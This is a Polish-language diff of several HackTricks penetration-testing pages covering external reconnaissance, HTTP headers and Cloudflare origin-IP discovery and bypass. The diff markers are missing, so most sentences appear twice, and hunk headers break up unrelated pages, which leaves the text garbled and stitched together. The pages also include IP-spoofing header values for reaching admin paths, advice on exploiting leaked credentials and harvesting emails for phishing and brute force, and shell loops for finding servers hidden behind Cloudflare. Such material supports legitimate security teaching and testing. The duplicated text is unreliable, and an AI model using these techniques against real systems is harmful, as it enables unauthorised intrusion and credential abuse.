Aby wykonać proponowany pomysł, możesz użyć [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) lub [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Ponadto, możesz użyć [**eyeballer**](https://github.com/BishopFox/eyeballer), aby przejrzeć wszystkie **zrzuty ekranu** i powiedzieć Ci, co **najprawdopodobniej zawiera podatności**, a co nie.
Ponadto, możesz użyć [**eyeballer**](https://github.com/BishopFox/eyeballer), aby przejrzeć wszystkie **zrzuty ekranu** i powiedzieć Ci, **co najprawdopodobniej zawiera podatności**, a co nie.
## Zasoby publiczne w chmurze
## Zasoby w Chmurze Publicznej
Aby znaleźć potencjalne zasoby chmurowe należące do firmy, powinieneś **zaczynać od listy słów kluczowych identyfikujących tę firmę**. Na przykład, dla firmy kryptowalutowej możesz użyć słów takich jak: `"crypto", "wallet", "dao", "<nazwa_domeny>", <"nazwy_poddomen">`.
Aby znaleźć potencjalne zasoby w chmurze należące do firmy, powinieneś **zaczynać od listy słów kluczowych identyfikujących tę firmę**. Na przykład, dla firmy kryptowalutowej możesz użyć słów takich jak: `"crypto", "wallet", "dao", "<nazwa_domeny>", <"nazwy_poddomen">`.
Będziesz także potrzebował list słów **często używanych w kubełkach**:
@ -520,19 +533,19 @@ Będziesz także potrzebował list słów **często używanych w kubełkach**:
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Następnie, z tymi słowami powinieneś generować **permutacje** (sprawdź [**Druga runda Brute-Force DNS**](./#second-dns-bruteforce-round) po więcej informacji).
Następnie, z tymi słowami powinieneś generować **permutacje** (sprawdź [**Drugą Rundę Ataku Brute-Force DNS**](./#second-dns-bruteforce-round) po więcej informacji).
Z uzyskanych list słów możesz użyć narzędzi takich jak [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **lub** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Pamiętaj, że szukając Zasobów Chmurowych powinieneś **szukać więcej niż tylko kubełków w AWS**.
Pamiętaj, że szukając Zasobów w Chmurze powinieneś **szukać czegoś więcej niż tylko kubełków w AWS**.
### **Szukanie podatności**
Jeśli znajdziesz rzeczy takie jak **otwarte kubełki lub narażone funkcje chmurowe**, powinieneś **uzyskać do nich dostęp** i spróbować zobaczyć, co oferują i czy można je wykorzystać.
Jeśli znajdziesz rzeczy takie jak **otwarte kubełki lub funkcje chmurowe wystawione**, powinieneś **uzyskać do nich dostęp** i spróbować zobaczyć, co oferują i czy można je nadużyć.
## Emaile
Dzięki **domenom** i **poddomenom** w zakresie masz praktycznie wszystko, czego potrzebujesz, aby zacząć szukać adresów e-mail. Oto **API** i **narzędzia**, które najlepiej sprawdziły się dla mnie w poszukiwaniu adresów e-mail firmy:
Dzięki **domenom** i **poddomenom** w zakresie masz praktycznie wszystko, czego **potrzebujesz do rozpoczęcia poszukiwań adresów e-mail**. Oto **API** i **narzędzia**, które najlepiej sprawdziły się dla mnie w poszukiwaniu adresów e-mail firmy:
* [**theHarvester**](https://github.com/laramies/theHarvester) - z użyciem API
* API [**https://hunter.io/**](https://hunter.io/) (wersja darmowa)
@ -543,27 +556,27 @@ Dzięki **domenom** i **poddomenom** w zakresie masz praktycznie wszystko, czego
Emaile przydadzą się później do **brute-force'owania logowań na stronach internetowych i usługach uwierzytelniania** (takich jak SSH). Są również potrzebne do **phishingu**. Ponadto te API dostarczą Ci jeszcze więcej **informacji o osobie** za adresem e-mail, co jest przydatne dla kampanii phishingowej.
## Wycieki poświadczeń
## Wycieki Danych Logowania
Dzięki **domenom**, **poddomenom** i **emailom** możesz zacząć szukać wycieków poświadczeń z przeszłości należących do tych emaili:
Dzięki **domenom**, **poddomenom** i **emailom** możesz zacząć szukać wycieków danych logowania z przeszłości należących do tych emaili:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Szukanie podatności**
Jeśli znajdziesz **ważne wycieki** poświadczeń, to bardzo łatwe zwycięstwo.
Jeśli znajdziesz **ważne wycieki** danych logowania, to bardzo łatwe zwycięstwo.
## Wycieki sekretów
## Wycieki Sekretów
Wycieki poświadczeń są związane z atakami na firmy, w których **wyciekły i zostały sprzedane poufne informacje**. Jednak firmy mogą być dotknięte również przez **inne wycieki**, których informacje nie znajdują się w tych bazach danych:
Wycieki danych logowania są związane z atakami na firmy, w których **wyciekły i zostały sprzedane poufne informacje**. Jednak firmy mogą być dotknięte również przez **inne wycieki**, których informacje nie znajdują się w tych bazach danych:
### Wycieki z Githuba
Poświadczenia i interfejsy API mogą wyciekać w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących dla tej firmy na Githubie.\
Dane logowania i API mogą wyciec z **publicznych repozytoriów** **firmy** lub **użytkowników** pracujących w tej firmie na Githubie.\
Możesz użyć narzędzia [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobrać** wszystkie **publiczne repozytoria** organizacji i jej deweloperów i automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
**Leakos** można również użyć do uruchomienia **gitleaks** na wszystkich **tekstach** dostarczonych **URL-ach przekazanych** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
**Leakos** może być również używany do uruchomienia **gitleaks** na wszystkich **tekstach** dostarczonych **URL-ów przekazanych** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
#### Dorki Githuba
@ -575,24 +588,24 @@ Sprawdź także tę **stronę** w poszukiwaniu potencjalnych **dorków Githuba**
### Wycieki wklejek
Czasami atakujący lub po prostu pracownicy **publikują treści firmy na stronach do wklejania**. Mogą one zawierać **informacje poufne** lub nie, ale jest bardzo interesujące je wyszukiwać.\
Czasami atakujący lub po prostu pracownicy **publikują treści firmy na stronach do wklejania**. Mogą one zawierać **informacje poufne** lub nie, ale warto je przeszukać.\
Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), aby jednocześnie przeszukać ponad 80 stron do wklejania.
### Dorki Google
Stare, ale złote dorki Google zawsze są przydatne do znalezienia **ujawnionych informacji, które tam nie powinny być**. Jedynym problemem jest to, że [**baza danych google-hacking**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie można uruchomić ręcznie. Dlatego możesz wybrać swoje ulubione 10 lub skorzystać z **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks) **do uruchomienia ich wszystkich**.
Stare, ale złote dorki Google zawsze są przydatne do znalezienia **ujawnionych informacji, które tam nie powinny być**. Jedynym problemem jest to, że [**baza danych google-hacking**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie można uruchomić ręcznie. Dlatego możesz wybrać swoje ulubione 10 lub skorzystać z **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks) **do ich uruchomienia wszystkich**.
_Zauważ, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą zwykłej przeglądarki Google, nigdy się nie zakończą, ponieważ Google bardzo szybko Cię zablokuje._
### **Szukanie podatności**
Jeśli znajdziesz **ważne wycieki** poświadczeń lub tokenów API, to bardzo łatwe zwycięstwo.
Jeśli znajdziesz **ważne wycieki** danych logowania lub tokenów API, to bardzo łatwe zwycięstwo.
## Publiczne podatności kodu
## Publiczne Podatności Kodu
Jeśli odkryłeś, że firma ma **kod open-source**, możesz go **analizować** i szukać w nim **podatności**.
Jeśli odkryłeś, że firma ma **kod open-source**, możesz go **analizować** i szukać na nim **podatności**.
W zależności od języka istnieją różne **narzędzia**, których możesz użyć:
W zależności od języka są różne **narzędzia**, których możesz użyć:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
@ -601,29 +614,29 @@ W zależności od języka istnieją różne **narzędzia**, których możesz uż
Istnieją również bezpłatne usługi, które pozwalają **skanować publiczne repozytoria**, takie jak:
* [**Snyk**](https://app.snyk.io/)
## [**Metodologia testowania penetracyjnego aplikacji internetowych**](../../network-services-pentesting/pentesting-web/)
## [**Metodologia testowania aplikacji internetowych**](../../network-services-pentesting/pentesting-web/)
**Większość podatności** znalezionych przez łowców błędów znajduje się w **aplikacjach internetowych**, dlatego chciałbym teraz omówić **metodologię testowania aplikacji internetowych**, którą można [**znaleźć tutaj**](../../network-services-pentesting/pentesting-web/).
**Większość podatności** znajdowanych przez łowców błędów znajduje się w **aplikacjach internetowych**, dlatego chciałbym teraz omówić **metodologię testowania aplikacji internetowych**, którą można [**znaleźć tutaj**](../../network-services-pentesting/pentesting-web/).
Chciałbym również wspomnieć o sekcji [**Otwarte narzędzia skanujące automatycznie strony internetowe**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, chociaż nie powinieneś oczekiwać, że znajdą one bardzo wrażliwe podatności, są one przydatne do implementacji w **przepływach pracy w celu uzyskania początkowych informacji o stronie internetowej.**
Chciałbym również wspomnieć o sekcji [**Otwarte narzędzia skanujące automatycznie strony internetowe**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, chociaż nie powinieneś oczekiwać, że znajdą one bardzo wrażliwe podatności, są przydatne do implementacji w **przepływach pracy w celu uzyskania początkowych informacji o stronie internetowej.**
## Podsumowanie
> Gratulacje! W tym momencie już przeprowadziłeś **całą podstawową enumerację**. Tak, jest to podstawowe, ponieważ można wykonać znacznie więcej operacji enumeracji (zobaczymy więcej sztuczek później).
> Gratulacje! W tym momencie już przeprowadziłeś **wszystkie podstawowe etapy wyliczania**. Tak, są to podstawowe etapy, ponieważ można wykonać znacznie więcej etapów wyliczania (zobaczymy więcej sztuczek później).
Więc już:
1. Znalazłeś wszystkie **firmy** w zakresie
2. Znalazłeś wszystkie **zasoby** należące do firm (i przeprowadziłeś skanowanie podatności, jeśli jest w zakresie)
3. Znalazłeś wszystkie **domeny** należące do firm
4. Znalazłeś wszystkie **subdomeny** domen (jakiekolwiek przejęcie subdomeny?)
4. Znalazłeś wszystkie **poddomeny** domen (jakiekolwiek przejęcie poddomeny?)
5. Znalazłeś wszystkie **adresy IP** (z i **bez CDN**) w zakresie.
6. Znalazłeś wszystkie **serwery internetowe** i wykonałeś **zrzut ekranu** z nich (czy coś dziwnego warte głębszego zbadania?)
7. Znalazłeś wszystkie **potencjalne publiczne zasoby w chmurze** należące do firmy.
8. **Emaile**, **wycieki poświadczeń** i **wycieki tajemnic**, które mogą dać Ci **łatwe zwycięstwo**.
7. Znalazłeś wszystkie **potencjalne zasoby w chmurze publicznej** należące do firmy.
8. **Emaile**, **wycieki poświadczeń** i **wycieki tajemnic**, które mogą dać ci **duże zwycięstwo bardzo łatwo**.
9. **Testowanie penetracyjne wszystkich stron internetowych, które znalazłeś**
## **Pełne narzędzia automatyczne do rozpoznawania**
## **Pełne narzędzia automatyczne do wywiadu**
Istnieje wiele narzędzi, które wykonają część proponowanych działań w określonym zakresie.
@ -634,7 +647,7 @@ Istnieje wiele narzędzi, które wykonają część proponowanych działań w ok
## **Referencje**
* Wszystkie darmowe kursy od [**@Jhaddix**](https://twitter.com/Jhaddix) takie jak [**Metodologia łowcy błędów v4.0 - Edycja rozpoznawania**](https://www.youtube.com/watch?v=p4JgIu1mceI)
* Wszystkie darmowe kursy od [**@Jhaddix**](https://twitter.com/Jhaddix) takie jak [**Metodologia Łowcy Błędów v4.0 - Edycja Wywiadowcza**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -644,14 +657,14 @@ Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliw
<details>
<summary><strong>Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -19,9 +19,9 @@ Inne sposoby wsparcia HackTricks:
* [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers)
* [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
## Nagłówki do zmiany lokalizacji
## Nagłówki zmieniające lokalizację
Zmiana **źródła IP**:
Przepisz **źródłowy adres IP**:
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
@ -40,7 +40,7 @@ Zmiana **źródła IP**:
* `Via: 1.0 fred, 1.1 127.0.0.1`
* `Connection: close, X-Forwarded-For` (Sprawdź nagłówki hop-by-hop)
Zmiana **lokalizacji**:
Przepisz **lokalizację**:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
@ -75,8 +75,8 @@ Nagłówek hop-by-hop jest nagłówkiem zaprojektowanym do przetwarzania i konsu
* **`Age`** określa czas w sekundach, przez jaki obiekt był w pamięci podręcznej serwera proxy.
* **`Server-Timing: cdn-cache; desc=HIT`** również wskazuje, że zasób był buforowany
{% content-ref url="../../pentesting-web/cache-deception.md" %}
[cache-deception.md](../../pentesting-web/cache-deception.md)
{% content-ref url="../../pentesting-web/cache-deception/" %}
[cache-deception](../../pentesting-web/cache-deception/)
{% endcontent-ref %}
**Nagłówki pamięci podręcznej lokalnej**:
@ -84,17 +84,17 @@ Nagłówek hop-by-hop jest nagłówkiem zaprojektowanym do przetwarzania i konsu
* `Clear-Site-Data`: Nagłówek wskazujący, jakie dane pamięci podręcznej należy usunąć: `Clear-Site-Data: "cache", "cookies"`
* `Expires`: Zawiera datę/czas, kiedy odpowiedź powinna wygasnąć: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
* `Pragma: no-cache` to samo co `Cache-Control: no-cache`
* `Warning`: Ogólny nagłówek HTTP zawiera informacje o możliwych problemach ze stanem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówek `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"`
* `Warning`: Ogólny nagłówek HTTP **`Warning`** zawiera informacje o możliwych problemach ze stanem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówek `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"`
## Warunki
* Żądania korzystające z tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** zostaną udzielone odpowiedzią tylko wtedy, gdy nagłówek odpowiedzi **`Last-Modified`** zawiera inną godzinę.
* Żądania warunkowe za pomocą **`If-Match`** i **`If-None-Match`** używają wartości Etag, więc serwer WWW wyśle zawartość odpowiedzi, jeśli dane (Etag) zostały zmienione. Wartość `Etag` jest pobierana z odpowiedzi HTTP.
* Wartość **Etag** jest zwykle **obliczana na podstawie** zawartości odpowiedzi. Na przykład `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` wskazuje, że `Etag` to **Sha1** z **37 bajtów**.
* Żądania warunkowe korzystające z **`If-Match`** i **`If-None-Match`** używają wartości Etag, więc serwer WWW wyśle zawartość odpowiedzi, jeśli dane (Etag) zostały zmienione. Wartość `Etag` jest pobierana z odpowiedzi HTTP.
* Wartość **Etag** jest zazwyczaj **obliczana na podstawie** zawartości odpowiedzi. Na przykład `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` wskazuje, że `Etag` to **Sha1** z **37 bajtów**.
## Żądania zakresu
* **`Accept-Ranges`**: Wskazuje, czy serwer obsługuje żądania zakresu, i jeśli tak, w jakiej jednostce zakres może być wyrażony. `Accept-Ranges: <range-unit>`
* **`Accept-Ranges`**: Wskazuje, czy serwer obsługuje żądania zakresowe, i jeśli tak, w jakiej jednostce zakres może być wyrażony. `Accept-Ranges: <range-unit>`
* **`Range`**: Wskazuje część dokumentu, którą serwer powinien zwrócić.
* **`If-Range`**: Tworzy warunkowe żądanie zakresu, które jest spełnione tylko wtedy, gdy podany etag lub data pasuje do zdalnego zasobu. Służy do zapobiegania pobieraniu dwóch zakresów z niezgodnej wersji zasobu.
* **`Content-Range`**: Wskazuje, gdzie w pełnej wiadomości ciała częściowa wiadomość należy.
@ -104,7 +104,7 @@ Nagłówek hop-by-hop jest nagłówkiem zaprojektowanym do przetwarzania i konsu
* **`Content-Length`:** Rozmiar zasobu, w dziesiętnym liczbie bajtów.
* **`Content-Type`**: Wskazuje typ nośnika zasobu
* **`Content-Encoding`**: Używane do określenia algorytmu kompresji.
* **`Content-Language`**: Opisuje język(i) przeznaczony dla odbiorców, dzięki czemu użytkownik może różnicować według własnego preferowanego języka.
* **`Content-Language`**: Opisuje język(i) ludzki(e) przeznaczony dla odbiorcy, dzięki czemu użytkownik może różnicować według własnego preferowanego języka.
* **`Content-Location`**: Wskazuje alternatywną lokalizację zwróconych danych.
Z punktu widzenia testu penetracyjnego te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i można znaleźć **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\
@ -131,7 +131,7 @@ To oznacza, że plik o nazwie "filename.jpg" ma być pobrany i zapisany.
## Nagłówki zabezpieczeń
### Polityka zabezpieczeń treści (CSP) <a href="#csp" id="csp"></a>
### Polityka zabezpieczeń zawartości (CSP) <a href="#csp" id="csp"></a>
{% content-ref url="../../pentesting-web/content-security-policy-csp-bypass/" %}
[content-security-policy-csp-bypass](../../pentesting-web/content-security-policy-csp-bypass/)
@ -158,7 +158,7 @@ el.innerHTML = escaped; // Results in safe assignment.
```
### **X-Content-Type-Options**
Ten nagłówek zapobiega analizowaniu typu MIME, praktyce, która może prowadzić do podatności na XSS. Zapewnia, że przeglądarki będą szanować typy MIME określone przez serwer.
Ten nagłówek zapobiega analizowaniu typu MIME, praktyce, która mogłaby prowadzić do podatności na XSS. Zapewnia, że przeglądarki będą szanować typy MIME określone przez serwer.
```
X-Content-Type-Options: nosniff
```
@ -170,7 +170,7 @@ X-Frame-Options: DENY
```
### **Polityka zasobów międzydomenowych (CORP) i udostępnianie zasobów międzydomenowych (CORS)**
CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, zmniejszając wycieki między stronami. CORS natomiast umożliwia bardziej elastyczny mechanizm udostępniania zasobów między domenami, łagodząc politykę tej samej domeny w określonych warunkach.
CORP jest kluczowy do określenia, które zasoby mogą być ładowane przez strony internetowe, zmniejszając wycieki między stronami. CORS natomiast pozwala na bardziej elastyczny mechanizm udostępniania zasobów między domenami, łagodząc politykę tej samej domeny w określonych warunkach.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
@ -178,14 +178,14 @@ Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) i Cross-Origin Opener Policy (COOP)**
COEP i COOP są kluczowe dla umożliwienia izolacji między-oryginalnej, znacząco zmniejszając ryzyko ataków podobnych do Spectre. Kontrolują one ładowanie zasobów z innych źródeł oraz interakcje z oknami z innych źródeł, odpowiednio.
COEP i COOP są niezbędne do umożliwienia izolacji między domenami, znacząco zmniejszając ryzyko ataków podobnych do Spectre. Kontrolują one ładowanie zasobów z innych domen oraz interakcje z oknami z innych domen, odpowiednio.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strict Transport Security (HSTS)**
Ostatecznie, HSTS to funkcja zabezpieczeń, która zmusza przeglądarki do komunikowania się tylko z serwerami poprzez bezpieczne połączenia HTTPS, zwiększając tym samym prywatność i bezpieczeństwo.
Ostatecznie, HSTS to funkcja bezpieczeństwa, która zmusza przeglądarki do komunikowania się tylko z serwerami poprzez bezpieczne połączenia HTTPS, zwiększając tym samym prywatność i bezpieczeństwo.
```
Strict-Transport-Security: max-age=3153600
```
@ -198,14 +198,14 @@ Strict-Transport-Security: max-age=3153600
<details>
<summary><strong>Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -10,25 +10,25 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Powszechne Techniki Odkrywania Cloudflare
* Możesz skorzystać z usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działała wcześniej na adresie IP.
* Możesz skorzystać z usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działa na adresie IP używanym wcześniej.
* To samo można osiągnąć, sprawdzając **historyczne certyfikaty SSL**, które mogą wskazywać na adres IP źródłowy.
* Sprawdź również **rekordy DNS innych subdomen wskazujących bezpośrednio na adresy IP**, ponieważ możliwe jest, że inne subdomeny wskazują na ten sam serwer (być może w celu oferowania FTP, poczty lub innej usługi).
* Jeśli znajdziesz **SSRF wewnątrz aplikacji internetowej**, możesz go wykorzystać, aby uzyskać adres IP serwera.
* Wyszukaj unikalny ciąg znaków strony internetowej w przeglądarkach takich jak shodan (a być może google i podobne?). Być może znajdziesz adres IP z tym treścią.
* W podobny sposób zamiast szukać unikalnego ciągu znaków, możesz wyszukać ikonę favicon za pomocą narzędzia: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) lub [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
* To nie będzie działać zbyt często, ponieważ serwer musi wysłać tę samą odpowiedź, gdy jest odwoływany się przez adres IP, ale nigdy nie wiesz.
* To nie będzie działać zbyt często, ponieważ serwer musi wysłać tę samą odpowiedź, gdy jest odwoływany przez adres IP, ale nigdy nie wiesz.
## Narzędzia do Odkrywania Cloudflare
* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub skorzystaj z narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które wykorzystuje to API)
* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub skorzystaj z narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które korzysta z tej API)
* Wyszukaj domenę w [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, a następnie będzie szukać adresów IPv4 w tych certyfikatach, a ostatecznie spróbuje uzyskać dostęp do strony internetowej pod tymi adresami IP.
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, a następnie będzie szukać adresów IPv4 w tych certyfikatach, a na koniec spróbuje uzyskać dostęp do strony internetowej pod tymi adresami IP.
* [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r to potężne narzędzie Pythona starannie opracowane, aby odkryć prawdziwy adres IP stron internetowych zabezpieczonych przez Cloudflare i inne alternatywy, powszechnie stosowaną usługę poprawiającą bezpieczeństwo i wydajność sieci. Jego głównym celem jest dokładne rozpoznanie rzeczywistego adresu IP serwerów internetowych ukrytych za osłoną ochronną Cloudflare.
* [Censys](https://search.censys.io/)
* [Shodan](https://shodan.io/)
@ -47,9 +47,9 @@ echo "Checking $ir"
prips $ir | hakoriginfinder -h "$DOMAIN"
done
```
## Odkrywanie Cloudflare z maszyn chmurowych
## Odkrywanie Cloudflare w infrastrukturze chmurowej
Należy zauważyć, że nawet jeśli to zostało wykonane dla maszyn AWS, można to zrobić dla dowolnego innego dostawcy chmury.
Należy zauważyć, że nawet jeśli ta czynność została wykonana dla maszyn AWS, można ją wykonać dla dowolnego innego dostawcy chmury.
Aby uzyskać lepszy opis tego procesu, sprawdź:
@ -69,36 +69,42 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
```
## Ominięcie Cloudflare poprzez Cloudflare
### Uwierzytelnione Pochodzenie Pobiera
### Uwierzytelnione Pochodzenie Pobierania
Ten mechanizm polega na **certyfikatach SSL klienta** do uwierzytelniania połączeń między serwerami **odwrotnego proxy Cloudflare** a serwerem **pochodzenia**, który jest nazywany **mTLS**.
Zamiast konfigurować własny certyfikat, klienci mogą po prostu użyć certyfikatu Cloudflare, aby zezwolić na dowolne połączenie z Cloudflare, **bez względu na najemcę**.
{% hint style="danger" %}
Dlatego atakujący mógłby po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare i skierować** ją na adres IP **ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie chronić wysyłanych żądań.
Dlatego atakujący mógłby po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare i skierować** ją na adres IP **domeny ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie chronił wysyłanych żądań.
{% endhint %}
Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
### Pozwól na Listę Adresów IP Cloudflare
### Pozwól na adresy IP Cloudflare na białej liście
To spowoduje, że **połączenia niepochodzące z adresów IP Cloudflare** zostaną odrzucone. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skieruje swoją własną domenę w Cloudflare** na adres IP **ofiary** i ją zaatakuje.
